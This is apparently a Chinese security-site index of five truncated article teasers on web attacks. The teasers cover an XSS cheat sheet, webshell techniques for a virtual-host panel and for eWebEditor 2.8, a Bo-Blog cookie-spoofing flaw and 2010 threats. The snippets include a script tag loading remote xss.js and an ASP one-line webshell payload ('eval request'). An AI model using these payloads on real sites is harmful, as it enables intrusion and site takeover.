-
xss跨站脚本攻击汇总
1)普通的XSS JavaScript注入<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>(2)IMG标签XSS使用JavaScript命令<SCRIPT SRC=h...
-
易方虚拟机4.X管理系统后台拿Webshell及修复
IIS6.0+Server2003漏洞文件:Pdt_Image.asp关键代码:{filePath = server.MapPath("../Pdt_Images/" & PSign & "_I...
-
2010新攻击介绍及防范办法
在安全专家手忙脚乱地处理各种现有威胁的同时，又有新的威胁接踵而至。在2010年，新攻击如雨后春笋般出现，而同时一些已有攻击又被赋予了新的生命，这些让安全专家们措手不及。自从新零日漏洞被发现以来，Adobe Acrobat和Flash都逐渐沦...
-
Bo-Blog v2.1.1 COOKIE欺骗漏洞
影响版本:Bo-Blog v2.1.1漏洞描述:index.php：if ($go) @list($job, $itemid)=@explode('_', basename($go));原本注入语句为：index.php?go=catego...
-
ewebeditor 2.8 后台插马
ewebeditor 2.8 后台插上一句话影响版本:2.8 商业版攻击利用:登陆后台，点击修改密码—新密码设置为 1″:eval request(“a”)’设置成功后，访问htt...
